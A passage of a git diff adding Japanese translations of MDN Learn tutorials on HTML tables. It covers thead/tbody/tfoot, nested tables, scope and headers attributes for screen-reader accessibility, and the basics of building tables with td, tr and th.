コードを調べます — ブラウザによってこのタグが追加されたことがわかります。 なぜそれを含まないのかと疑問に思うかもしれません — すべき、表の構造とスタイリングがより細かく制御できるためです。</p> +</div> + +<h3 id="Active_learning_Adding_table_structure" name="Active_learning_Adding_table_structure">アクティブラーニング: 表構造の追加</h3> + +<p>これらの新しい要素を実行してみましょう。</p> + +<ol> + <li>まず、新しいフォルダに <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record.html">spending-record.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a> のローカルコピーを作成します。</li> + <li>ブラウザでそれを開いてみてください — あなたはそれが問題ないように見えますが、それは改善されることになるかもしれません。 支出額の合計を含む "SUM" 行は間違った場所にあるように思われ、コードから抜けている細部がいくつかあります。</li> + <li>明白なヘッダー行を <code><thead></code> 要素内に、 "SUM" 行を <code><tfoot></code> 要素内に、そして残りの内容を <code><tbody></code> 要素内に配置します。</li> + <li>保存して更新すると、<code><tfoot></code> 要素を追加すると "SUM" 行が表の一番下に移動していることがわかります。</li> + <li>次に、{{htmlattrxref("colspan","td")}} 属性を追加して "SUM" セルを最初の4列にまたがるようにします。そのため、実際の数は "Cost" 列の下部に表示されます。</li> + <li>これらの要素が CSS を適用するためにどれほど有用であるかのアイデアをあなたに与えるために、表にいくつかの簡単な追加のスタイリングを追加しましょう。 HTML 文書の <code><head></code> の中には、空の {{htmlelement("style")}} 要素があります。 この要素内に、次の CSS コード行を追加します。 + <pre class="brush: css">tbody { + font-size: 90%; + font-style: italic; +} + +tfoot { + font-weight: bold; +} +</pre> + </li> + <li>保存して更新し、結果を確認します。 <code><tbody></code> 要素と <code><tfoot></code> 要素が適切に配置されていない場合は、同じスタイルを適用するためにはるかに複雑なセレクタ/規則を記述する必要があります。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 現時点で私たちはあなたが CSS を完全に理解しているとは思っていません。 あなたが私たちの CSS モジュールを一通り学ぶとき、これについてより多くを学ぶでしょう(<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>は始めるのに良い場所です。 <a href="/ja/docs/Learn/CSS/Styling_boxes/Styling_tables">スタイリングされた表</a>に関する具体的な記事もあります)。</p> +</div> + +<p>完成した表は次のようになります。</p> + +<div class="hidden"> +<h6 id="Hidden_example" name="Hidden_example">Hidden example</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My spending record</title> + <style> + + html { + font-family: sans-serif; + } + + table { + border-collapse: collapse; + border: 2px solid rgb(200,200,200); + letter-spacing: 1px; + font-size: 0.8rem; + } + + td, th { + border: 1px solid rgb(190,190,190); + padding: 10px 20px; + } + + th { + background-color: rgb(235,235,235); + } + + td { + text-align: center; + } + + tr:nth-child(even) td { + background-color: rgb(250,250,250); + } + + tr:nth-child(odd) td { + background-color: rgb(245,245,245); + } + + caption { + padding: 10px; + } + + tbody { + font-size: 90%; + font-style: italic; + } + + tfoot { + font-weight: bold; + } + </style> + </head> + <body> + <table> + <caption>How I chose to spend my money</caption> + <thead> + <tr> + <th>Purchase</th> + <th>Location</th> + <th>Date</th> + <th>Evaluation</th> + <th>Cost (€)</th> + </tr> + </thead> + <tfoot> + <tr> + <td colspan="4">SUM</td> + <td>118</td> + </tr> + </tfoot> + <tbody> + <tr> + <td>Haircut</td> + <td>Hairdresser</td> + <td>12/09</td> + <td>Great idea</td> + <td>30</td> + </tr> + <tr> + <td>Lasagna</td> + <td>Restaurant</td> + <td>12/09</td> + <td>Regrets</td> + <td>18</td> + </tr> + <tr> + <td>Shoes</td> + <td>Shoeshop</td> + <td>13/09</td> + <td>Big regrets</td> + <td>65</td> + </tr> + <tr> + <td>Toothpaste</td> + <td>Supermarket</td> + <td>13/09</td> + <td>Good</td> + <td>5</td> + </tr> + </tbody> + </table> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注</strong>: Github では、それを <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html">spending-record-finished.html</a> として見つけることもできます(<a href="http://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html">ライブもご覧ください</a>)。</p> +</div> + +<h2 id="Nesting_Tables" name="Nesting_Tables">ネストした表</h2> + +<p><code><table></code> 要素を含む完全な構造を含める限り、表を別の表の中にネストすることは可能です。 そのマークアップがスクリーンリーダーのユーザにとって混乱を招きやすく、アクセスしにくくなるため、これは一般的にはあまり推奨されません。 多くの場合、既存の表に追加のセル/行/列を挿入することもできます。 ただし、他のソースからコンテンツを簡単にインポートしたい場合などは、時々必要になります。</p> + +<p>次のマークアップは、単純なネストした表を示しています。</p> + +<pre class="brush: html"><table id="table1"> + <tr> + <th>title1</th> + <th>title2</th> + <th>title3</th> + </tr> + <tr> + <td id="nested"> + <table id="table2"> + <tr> + <td>cell1</td> + <td>cell2</td> + <td>cell3</td> + </tr> + </table> + </td> + <td>cell2</td> + <td>cell3</td> + </tr> + <tr> + <td>cell4</td> + <td>cell5</td> + <td>cell6</td> + </tr> +</table></pre> + +<p>その出力は次のようになります。</p> + +<table id="table1"> + <tbody> + <tr> + <th>title1</th> + <th>title2</th> + <th>title3</th> + </tr> + <tr> + <td id="nested"> + <table id="table2"> + <tbody> + <tr> + <td>cell1</td> + <td>cell2</td> + <td>cell3</td> + </tr> + </tbody> + </table> + </td> + <td>cell2</td> + <td>cell3</td> + </tr> + <tr> + <td>cell4</td> + <td>cell5</td> + <td>cell6</td> + </tr> + </tbody> +</table> + +<h2 id="Tables_for_visually_impaired_users" name="Tables_for_visually_impaired_users">視覚障碍者向けの表</h2> + +<p>データ表の使用方法について簡単に説明しましょう。 表は、データにすばやくアクセスし、さまざまな値を検索できるようにするための便利なツールです。例えば、昨年8月に Gent で販売された指輪 (Rings) の数を確認するには、下の表を見てください。その情報を理解するために、この表内のデータとその列ヘッダーや行ヘッダーとの間の視覚的な関連付けを行います。</p> + +<table> + <caption>Items Sold August 2016</caption> + <tbody> + <tr> + <td></td> + <td></td> + <th colspan="3" scope="colgroup">Clothes</th> + <th colspan="2" scope="colgroup">Accessories</th> + </tr> + <tr> + <td></td> + <td></td> + <th scope="col">Trousers</th> + <th scope="col">Skirts</th> + <th scope="col">Dresses</th> + <th scope="col">Bracelets</th> + <th scope="col">Rings</th> + </tr> + <tr> + <th rowspan="3" scope="rowgroup">Belgium</th> + <th scope="row">Antwerp</th> + <td>56</td> + <td>22</td> + <td>43</td> + <td>72</td> + <td>23</td> + </tr> + <tr> + <th scope="row">Gent</th> + <td>46</td> + <td>18</td> + <td>50</td> + <td>61</td> + <td>15</td> + </tr> + <tr> + <th scope="row">Brussels</th> + <td>51</td> + <td>27</td> + <td>38</td> + <td>69</td> + <td>28</td> + </tr> + <tr> + <th rowspan="2" scope="rowgroup">The Netherlands</th> + <th scope="row">Amsterdam</th> + <td>89</td> + <td>34</td> + <td>69</td> + <td>85</td> + <td>38</td> + </tr> + <tr> + <th scope="row">Utrecht</th> + <td>80</td> + <td>12</td> + <td>43</td> + <td>36</td> + <td>19</td> + </tr> + </tbody> +</table> + +<p>しかし、あなたがそれらの視覚的な関連付けをすることができないならば、どうですか？ では、どのようにして上記のような表を読むことができますか？ 視覚障碍者は、Webページの情報を読み上げるスクリーンリーダーをよく使用します。 平文を読んでいるときはこれは問題ありませんが、表を解釈することは視覚障碍者にとっては非常に困難な場合があります。 それでも、適切なマークアップを使用して、視覚的な関連付けをプログラムによる関連付けに置き換えることができます。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="http://www.who.int/mediacentre/factsheets/fs282/en/">WHO のデータ</a>によると、2017年の視覚障碍者は約253百万人です。</p> +</div> + +<p>記事のこのセクションでは、可能な限りアクセス可能な表にするためのその他の手法について説明します。</p> + +<h3 class="attTitle" id="Using_column_and_row_headers" name="Using_column_and_row_headers">列ヘッダーと行ヘッダーを使用する</h3> + +<p>スクリーンリーダーは全てのヘッダーを識別し、それらを使用してそれらのヘッダーとそれらが関連するセルとの間のプログラムによる関連付けを行います。 列ヘッダーと行ヘッダーの組み合わせにより、各セル内のデータが識別および解釈されるため、スクリーンリーダーのユーザは、晴眼のユーザの場合と同様に表を解釈できます。</p> + +<p>前の記事ですでにヘッダーについて説明しました — <a href="/ja/docs/Learn/HTML/Tables/Basics#Adding_headers_with_%3Cth%3E_elements"><code><th></code> 要素によるヘッダーの追加</a>を参照してください。</p> + +<h3 class="attTitle" id="The_scope_attribute" name="The_scope_attribute">scope 属性</h3> + +<p>この記事の新しい話題は {{htmlattrxref("scope","th")}} 属性です。 これは <code><th></code> 要素に追加して、ヘッダーがどのセルのヘッダーであるかをスクリーンリーダーに正確に伝えることができます — 例えば、それが入っているのは行のヘッダーなのか、それとも列のヘッダーなのか？ 先ほどの支出記録の例を振り返ると、次のように列ヘッダーを列ヘッダーとして明確に定義できます。</p> + +<pre class="brush: html"><thead> + <tr> + <th scope="col">Purchase</th> + <th scope="col">Location</th> + <th scope="col">Date</th> + <th scope="col">Evaluation</th> + <th scope="col">Cost (€)</th> + </tr> +</thead></pre> + +<p>そして各行は次のように定義されたヘッダーを持つことができます(列ヘッダーと同様に行ヘッダーを追加した場合)。</p> + +<pre class="brush: html"><tr> + <th scope="row">Haircut</th> + <td>Hairdresser</td> + <td>12/09</td> + <td>Great idea</td> + <td>30</td> +</tr></pre> + +<p>スクリーンリーダーは、このように構成されたマークアップを認識し、例えば、ユーザが列全体または行全体を一度に読み上げることを可能にします。</p> + +<p><code>scope</code> には、さらに2つの可能な値、<code>colgroup</code> と <code>rowgroup</code> があります。 これらは、複数列または複数行の上に位置する見出しに使用されます。 このセクションの最初にある "Items Sold August 2016" の表を見ると、"Clothes" セルが "Trousers"、"Skirts"、"Dresses" のセルの上に位置することがわかります。 これらのセルは全てヘッダー(<code><th></code>)としてマークアップするべきで、 "Clothes" はそれらの上に位置し、他の3つの小見出しを定義する見出しです。 従って、"Clothes" は <code>scope="colgroup"</code> の属性を得るべきですが、それ以外は <code>scope="col"</code> の属性を得ます。</p> + +<h3 class="attTitle" id="The_id_and_headers_attributes" name="The_id_and_headers_attributes">id 属性と headers 属性</h3> + +<p><code>scope</code> 属性を使用する代わりに、{{htmlattrxref("id")}} 属性と {{htmlattrxref("headers", "td")}} 属性を使用して、ヘッダーとセル間の関連付けを作成することもできます。 使い方は次のとおりです。</p> + +<ol> + <li>各 <code><th></code> 要素に一意の <code>id</code> を追加します。</li> + <li>各 <code><td></code> 要素に <code>headers</code> 属性を追加します。 各 <code>headers</code> 属性には、そのセルのヘッダーとして機能する全ての <code><th></code> 要素の <code>id</code> のリストを、スペースで区切って含める必要があります。</li> +</ol> + +<p>これは HTML の表に、表内の各セルの位置の明示的な定義を与えます。 これは、それが属する各列と各行のヘッダーによって定義されます。 スプレッドシートのようなものです。 それがうまく機能するためには、表は本当に列と行の両方のヘッダーを必要とします。</p> + +<p>支出コストの例に戻ると、前の2つのコードは次のように書き直すことができます。</p> + +<pre class="brush: html"><thead> + <tr> + <th id="purchase">Purchase</th> + <th id="location">Location</th> + <th id="date">Date</th> + <th id="evaluation">Evaluation</th> + <th id="cost">Cost (€)</th> + </tr> +</thead> +<tbody> +<tr> + <th id="haircut">Haircut</th> + <td headers="location haircut">Hairdresser</td> + <td headers="date haircut">12/09</td> + <td headers="evaluation haircut">Great idea</td> + <td headers="cost haircut">30</td> +</tr> + + ... + +</tbody></pre> + +<div class="note"> +<p><strong>注</strong>: この方法では、ヘッダーとデータセルの間に非常に正確な関連付けが作成されますが、マークアップがはるかに多くなり、エラーの余地がありません。 <code>scope</code> アプローチは通常ほとんどの表に十分です。</p> +</div> + +<h3 id="Active_learning_playing_with_scope_and_headers" name="Active_learning_playing_with_scope_and_headers">アクティブラーニング: scope と headers で遊ぶ</h3> + +<ol> + <li>この最後の演習では、まず <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold.html">items-sold.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a> のローカルコピーを新しいディレクトリに作成してください。</li> + <li>この表をより適切にするために適切な <code>scope</code> 属性を追加してみてください。</li> + <li>最後に、最初のファイルの別のコピーを作成して、今度は、<code>id</code> 属性と <code>headers</code> 属性を使用して表にアクセスしやすくします。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 完成した例と照らし合わせて作業内容を確認できます — <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html">items-sold-scope.html</a>(<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html">ライブもご覧ください</a>)および <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html">items-sold-headers.html</a>(<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html">ライブもご覧ください</a>)。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>表の HTML について他にも学べることがいくつかありますが、現時点で知っておく必要があることは全てここで説明しました。 この時点で、HTML の表のスタイリングについて学びたいと思うかもしれません — <a href="/ja/docs/Learn/CSS/Styling_boxes/Styling_tables">スタイリングされた表</a>を参照してください。</p> + +<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> + +<div> +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Tables/Basics">HTML の表の基本</a></li> + <li><a href="/ja/docs/Learn/HTML/Tables/Advanced">HTML 表の高度な機能とアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/HTML/Tables/Structuring_planet_data">評価: 太陽系の惑星のデータを構造化する</a></li> +</ul> +</div> diff --git a/files/ja/learn/html/tables/basics/index.html b/files/ja/learn/html/tables/basics/index.html new file mode 100644 index 0000000000..ec37b6ad39 --- /dev/null +++ b/files/ja/learn/html/tables/basics/index.html @@ -0,0 +1,569 @@ +--- +title: HTML の表の基本 +slug: Learn/HTML/Tables/Basics +tags: + - Beginner + - CodingScripting + - HTML + - Learn + - basics + - col + - colgroup + - colspan + - header + - row + - rowspan + - セル + - テーブル + - 記事 +translation_of: Learn/HTML/Tables/Basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> + +<p class="summary">この記事は、 HTML の表を始めるために、行やセルなどとても基本的なところから、見出し、複数列や行のセルの結合、スタイルを適用するためにセルの列をすべてグループ化する方法などを扱います。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を参照)。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>基本的に HTML 表に親しむこと。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_a_table" name="What_is_a_table">テーブルとは何か</h2> + +<p>テーブルとは、行と列からなる構造化されたデータの集合 (<strong>表形式データ</strong>) です。テーブルを使用すると、さまざまな種類のデータ間のある種の関連性、たとえば人と年齢、1日または1週間、地元のプールの予定時刻などを示す値をすばやく簡単に検索できます。</p> + +<p><img alt="A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47." src="https://mdn.mozillademos.org/files/14583/numbers-table.png" style="display: block; height: 156px; margin: 0px auto; width: 350px;"></p> + +<p><img alt="A swimming timetable showing a sample data table" src="https://mdn.mozillademos.org/files/14587/swimming-timetable.png" style="display: block; height: 301px; margin: 0px auto; width: 794px;"></p> + +<p>1800 年以降のこの米国国勢調査文書で証明されているように、テーブルは人間社会で非常に一般的に使用されており、長い間使用されてきました。</p> + +<p><img alt="A very old parchment document; the data is not easily readable, but it clearly shows a data table being used." src="https://mdn.mozillademos.org/files/14585/1800-census.jpg" style="display: block; height: 505px; margin: 0px auto; width: 800px;"></p> + +<p>したがって、HTML の作成者が Web 上で表形式データを構造化して表示するための手段を提供したことは不思議ではありません。</p> + +<h3 id="How_does_a_table_work" name="How_does_a_table_work">テーブルはどのように動作するか</h3> + +<p>テーブルの特徴は、厳密だということです。 情報は、行と列ヘッダーを視覚的に関連付けることによって簡単に解釈されます。例えば下の表を見て、62個の衛星を持つ巨大ガス惑星である木星を見つけてください。関係する行と列との見出し部分を組み合わせて考えることで答えを見つけることができます。</p> + +<table> + <caption>太陽系の惑星のデータ (<span class="tlid-translation translation" lang="ja"><span title="">惑星の事実は「<a href="http://nssdc.gsfc.nasa.gov/planetary/factsheet/">Nasa の惑星情報シート - メートル法</a>」から引用</span></span>)</caption> + <thead> + <tr> + <td colspan="2"></td> + <th scope="col">名前</th> + <th scope="col">質量 (10<sup>24</sup>kg)</th> + <th scope="col">直径 (km)</th> + <th scope="col">密度 (kg/m<sup>3</sup>)</th> + <th scope="col">重力 (m/s<sup>2</sup>)</th> + <th scope="col">一日の長さ (hours)</th> + <th scope="col">太陽からの距離 (10<sup>6</sup>km)</th> + <th scope="col">平均気温 (°C)</th> + <th scope="col">月の数</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="2" rowspan="4" scope="rowgroup">地球型惑星</th> + <th scope="row">水星</th> + <td>0.330</td> + <td>4,879</td> + <td>5427</td> + <td>3.7</td> + <td>4222.6</td> + <td>57.9</td> + <td>167</td> + <td>0</td> + <td>太陽に一番近い</td> + </tr> + <tr> + <th scope="row">金星</th> + <td>4.87</td> + <td>12,104</td> + <td>5243</td> + <td>8.9</td> + <td>2802.0</td> + <td>108.2</td> + <td>464</td> + <td>0</td> + <td></td> + </tr> + <tr> + <th scope="row">地球</th> + <td>5.97</td> + <td>12,756</td> + <td>5514</td> + <td>9.8</td> + <td>24.0</td> + <td>149.6</td> + <td>15</td> + <td>1</td> + <td>私たちの世界</td> + </tr> + <tr> + <th scope="row">火星</th> + <td>0.642</td> + <td>6,792</td> + <td>3933</td> + <td>3.7</td> + <td>24.7</td> + <td>227.9</td> + <td>-65</td> + <td>2</td> + <td>赤い惑星</td> + </tr> + <tr> + <th rowspan="4" scope="rowgroup">木星型惑星</th> + <th rowspan="2" scope="rowgroup">巨大ガス惑星</th> + <th scope="row">木星</th> + <td>1898</td> + <td>142,984</td> + <td>1326</td> + <td>23.1</td> + <td>9.9</td> + <td>778.6</td> + <td>-110</td> + <td>67</td> + <td>最大の惑星</td> + </tr> + <tr> + <th scope="row">土星</th> + <td>568</td> + <td>120,536</td> + <td>687</td> + <td>9.0</td> + <td>10.7</td> + <td>1433.5</td> + <td>-140</td> + <td>62</td> + <td></td> + </tr> + <tr> + <th rowspan="2" scope="rowgroup">巨大氷惑星</th> + <th scope="row">天王星</th> + <td>86.8</td> + <td>51,118</td> + <td>1271</td> + <td>8.7</td> + <td>17.2</td> + <td>2872.5</td> + <td>-195</td> + <td>27</td> + <td></td> + </tr> + <tr> + <th scope="row">海王星</th> + <td>102</td> + <td>49,528</td> + <td>1638</td> + <td>11.0</td> + <td>16.1</td> + <td>4495.1</td> + <td>-200</td> + <td>14</td> + <td></td> + </tr> + <tr> + <th colspan="2" scope="rowgroup"><span class="tlid-translation translation" lang="ja"><span title="">矮星</span></span></th> + <th scope="row">冥王星</th> + <td>0.0146</td> + <td>2,370</td> + <td>2095</td> + <td>0.7</td> + <td>153.3</td> + <td>5906.4</td> + <td>-225</td> + <td>5</td> + <td>2006年に惑星として分類されなくなりましたが、これは<a href="http://www.usatoday.com/story/tech/2014/10/02/pluto-planet-solar-system/16578959/">物議を醸しています</a>。</td> + </tr> + </tbody> +</table> + +<p>正しく行われれば、盲目の人でも HTML テーブルの表形式データを解釈できます。HTML テーブルが成功すれば、晴眼者でも視覚障害者でも同様にユーザエクスペリエンスが向上するはずです。</p> + +<h3 id="Table_styling" name="Table_styling">表のスタイル付け</h3> + +<p>GitHub の<a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">ライブサンプルもご覧ください</a>。テーブルがもう少し読みやすくなっているということに気付くでしょう。これは、今までこのページで見てきたテーブルには最小限のスタイルしか施されていないからです。対して、GitHub バージョンではより特別な意味を持った CSS が適用されています。</p> + +<p>幻想にふけってはいけません。テーブルを Web 上で有効にするには、<a href="/ja/docs/Learn/CSS">CSS</a> でスタイル情報を提供し、HTML でしっかりとした構造を提供する必要があります。このモジュールでは、HTML 部分に焦点を合わせています。CSS の部分については、ここを終えた後に<a href="/ja/docs/Learn/CSS/Styling_boxes/Styling_tables">表のスタイリング</a>の記事を参照してください。</p> + +<p>このモジュールでは CSS に焦点を当てませんが、スタイルを設定しなくてもデフォルトのテーブルより読みやすくなるように、最小限の CSS スタイルシートを使用できます。<a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">スタイルシートはここ</a>で、そしてスタイルシートを適用する <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">HTML テンプレート</a>も見つけることができます。これらを一緒にすると、HTML テーブルを試すための良い出発点になります。</p> + +<h3 id="When_should_you_NOT_use_HTML_tables" name="When_should_you_NOT_use_HTML_tables">HTML の表を使用するべきではない場面</h3> + +<p>HTML テーブルは表形式のデータに使用する必要があります - これがそれらが設計されているものです。残念ながら、HTML テーブルを使用して Web ページをレイアウトする人が多くいました。ヘッダーを含む1行、コンテンツ列を含む1行、フッターを含む1行などです。<a href="/ja/docs/Learn/Accessibility">アクセシビリティ学習モジュール</a>の<a href="/ja/docs/Learn/Accessibility/HTML#Page_layouts">ページレイアウト</a>でより多くの詳細と例を見つけることができます。これは一般的に使用されていました。ブラウザ間での CSS サポートがひどいものだったからです。テーブルレイアウトは、現在ではあまり一般的ではありませんが、Web の一部の場所ではまだ見られることがあります。</p> + +<p>つまり、<a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a>手法ではなく、テーブルをレイアウトに使用するのは得策ではありません。主な理由は次のとおりです。</p> + +<ol> + <li><strong>レイアウトテーブルは視覚障害のあるユーザのアクセシビリティを低下させます。</strong>視覚障害者が使用する<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">スクリーンリーダー</a>は、HTML ページに存在するタグを解釈し、その内容をユーザに読み上げます。テーブルはレイアウトに適したツールではなく、マークアップは CSS のレイアウト手法よりも複雑であるため、スクリーンリーダーの出力はユーザにとってわかりにくいものになります。</li> + <li><strong>テーブルはタグスープを生成します。</strong>前述のように、テーブルレイアウトは通常、適切なレイアウト手法よりも複雑なマークアップ構造を含みます。これにより、コードの記述、保守、およびデバッグが困難になる可能性があります。</li> + <li><strong>テーブルは自動的には応答しません。</strong>適切なレイアウトコンテナ ({{htmlelement("header")}}、{{htmlelement("section")}}、{{htmlelement("article")}}、{{htmlelement("div")}}など) を使用する場合、その幅はデフォルトで親要素の100％になります。一方、テーブルはデフォルトでは内容に応じてサイズが設定されているため、さまざまなデバイスで効果的に機能するようにテーブルレイアウトのスタイルを変更するには、追加の対策が必要です。</li> +</ol> + +<h2 id="Active_learning_Creating_your_first_table" name="Active_learning_Creating_your_first_table">アクティブラーニング: 最初の表の作成</h2> + +<p>テーブル理論については十分に説明したので、実用的な例に飛び込み、簡単なテーブルを作成しましょう。</p> + +<ol> + <li>まず最初に、ローカルマシンの新しいディレクトリに、<a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> のローカルコピーを作成します。</li> + <li>すべてのテーブルの内容は、<strong><code><a href="/ja/docs/Web/HTML/Element/table"><table></table></a></code></strong> という2つのタグで囲まれています。HTML のボディの中にこれらを追加してください。</li> + <li>テーブル内の最小のコンテナは、<strong><code><a href="/ja/docs/Web/HTML/Element/td"><td></a></code></strong> 要素によって作成されるテーブルセルです ('td' は 'table data' を表します)。テーブルタグ内に次のコードを追加します。 + <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td></pre> + </li> + <li>4行のセルが必要な場合は、これらのタグを3回コピーする必要があります。テーブルの内容を次のように更新します。 + <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td> +<td>I'm your second cell.</td> +<td>I'm your third cell.</td> +<td>I'm your fourth cell.</td></pre> + </li> +</ol> + +<p>お分かりのように、セルは互いの下に配置されているのではなく、同じ行に配置されています。 各 <code><td></code> 要素は単一のセルを作成し、それらが一緒になって最初の行を構成します。 追加するセルごとに行が長くなります。</p> + +<p>この行が大きくなるのを防ぎ、後続のセルを2行目に配置するには、<strong><code><a href="/ja/docs/Web/HTML/Element/tr"><tr></a></code></strong> 要素を使用する必要があります ('tr' は 'table row' を表します)。今これを調査しましょう。</p> + +<ol> + <li>以下のように、既に作成した4つのセルを <code><tr></code> タグ内に配置します。 + + <pre class="brush: html notranslate"><tr> + <td>Hi, I'm your first cell.</td> + <td>I'm your second cell.</td> + <td>I'm your third cell.</td> + <td>I'm your fourth cell.</td> +</tr></pre> + </li> + <li>1行作成したら、あと1、2行作成してみましょう。各行は追加の <code><tr></code> 要素で囲み、各セルを <code><td></code> に含める必要があります。</li> +</ol> + +<p>これにより、テーブルは次のようになります。</p> + +<table> + <tbody> + <tr> + <td>Hi, I'm your first cell.</td> + <td>I'm your second cell.</td> + <td>I'm your third cell.</td> + <td>I'm your fourth cell.</td> + </tr> + <tr> + <td>Second row, first cell.</td> + <td>Cell 2.</td> + <td>Cell 3.</td> + <td>Cell 4.</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>メモ</strong>: GitHub では <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/simple-table.html">simple-table.html</a> としても見つけることができます (<a href="https://mdn.github.io/learning-area/html/tables/basic/simple-table.html">こちらも参照してください</a>)。</p> +</div> + +<h2 id="Adding_headers_with_<th>_elements" name="Adding_headers_with_<th>_elements"><th> 要素による見出しの追加</h2> + +<p>それでは表の見出し、つまり行または列の先頭に配置され、その行または列に含まれるデータの種類を定義する特別なセルに注目しましょう(例として、この記事の最初の例の「Person」セルと「Age」セルを参照してください)。それらがなぜ有用であるかを説明するために、次の表の例を見てください。まずはソースコードから：</p> + +<pre class="brush: html notranslate"><table> + <tr> + <td>&nbsp;</td> + <td>Knocky</td> + <td>Flor</td> + <td>Ella</td> + <td>Juan</td> + </tr> + <tr> + <td>Breed</td> + <td>Jack Russell</td> + <td>Poodle</td> + <td>Streetdog</td> + <td>Cocker Spaniel</td> + </tr> + <tr> + <td>Age</td> + <td>16</td> + <td>9</td> + <td>10</td> + <td>5</td> + </tr> + <tr> + <td>Owner</td> + <td>Mother-in-law</td> + <td>Me</td> + <td>Me</td> + <td>Sister-in-law</td> + </tr> + <tr> + <td>Eating Habits</td> + <td>Eats everyone's leftovers</td> + <td>Nibbles at food</td> + <td>Hearty eater</td> + <td>Will eat till he explodes</td> + </tr> +</table></pre> + +<p>実際にレンダリングされたテーブルは次のとおりです。</p> + +<table> + <tbody> + <tr> + <td></td> + <td>Knocky</td> + <td>Flor</td> + <td>Ella</td> + <td>Juan</td> + </tr> + <tr> + <td>Breed</td> + <td>Jack Russell</td> + <td>Poodle</td> + <td>Streetdog</td> + <td>Cocker Spaniel</td> + </tr> + <tr> + <td>Age</td> + <td>16</td> + <td>9</td> + <td>10</td> + <td>5</td> + </tr> + <tr> + <td>Owner</td> + <td>Mother-in-law</td> + <td>Me</td> + <td>Me</td> + <td>Sister-in-law</td> + </tr> + <tr> + <td>Eating Habits</td> + <td>Eats everyone's leftovers</td> + <td>Nibbles at food</td> + <td>Hearty eater</td> + <td>Will eat till he explodes</td> + </tr> + </tbody> +</table> + +<p>ここで問題は、何が起こっているかを知ることはできますが、データを相互参照することができるほど簡単ではないことです。列と行の見出しが何らかの形で目立つ場合は、その方がはるかに良いでしょう。</p> + +<h3 id="Active_learning_table_headers" name="Active_learning_table_headers">アクティブラーニング: 表の見出し</h3> + +<p>このテーブルを改良してみましょう。</p> + +<ol> + <li>まず、あなたのローカルマシンの新しいディレクトリに <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html">dogs-table.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> ファイルのローカルコピーを作ります。HTML には、上で見たのと同じ Dogs の例が含まれています。</li> + <li>テーブルのヘッダを視覚的にも意味的にもヘッダとして認識させるには、<strong><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th"><th></a></code></strong> 要素を使用します ('th' は 'table header' を表します)。これは <code><td></code> とまったく同じように機能しますが、通常のセルではなくヘッダーを表す点が異なります。HTML を開き、テーブルのヘッダを囲む全ての <code><td></code> 要素を <code><th></code> 要素に変更してください。</li> + <li>HTML を保存してブラウザにロードすると、ヘッダーがヘッダーらしく見えます。</li> +</ol> + +<div class="note"> +<p><strong>メモ</strong>: 完成した例は GitHub の <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table-fixed.html">dogs-table-fixed.html</a> にあります (<a href="https://mdn.github.io/learning-area/html/tables/basic/dogs-table-fixed.html">こちらもご覧ください</a>)。</p> +</div> + +<h3 id="Why_are_headers_useful" name="Why_are_headers_useful">なぜ見出しは便利なのか</h3> + +<p>私たちはすでにこの質問に部分的に答えました — ヘッダーがはっきり目立つときには探しているデータを見つけやすく、デザインは一般的に見栄えがよくなります。</p> + +<div class="note"> +<p><strong>メモ</strong>: テーブルの見出しにはデフォルトのスタイルがいくつかあります。テーブルに独自のスタイルを追加しなくても、目立つように太字で中央に配置されています。</p> +</div> + +<p>テーブルヘッダには、<code>scope</code> 属性 (次の記事で学ぶことになります) 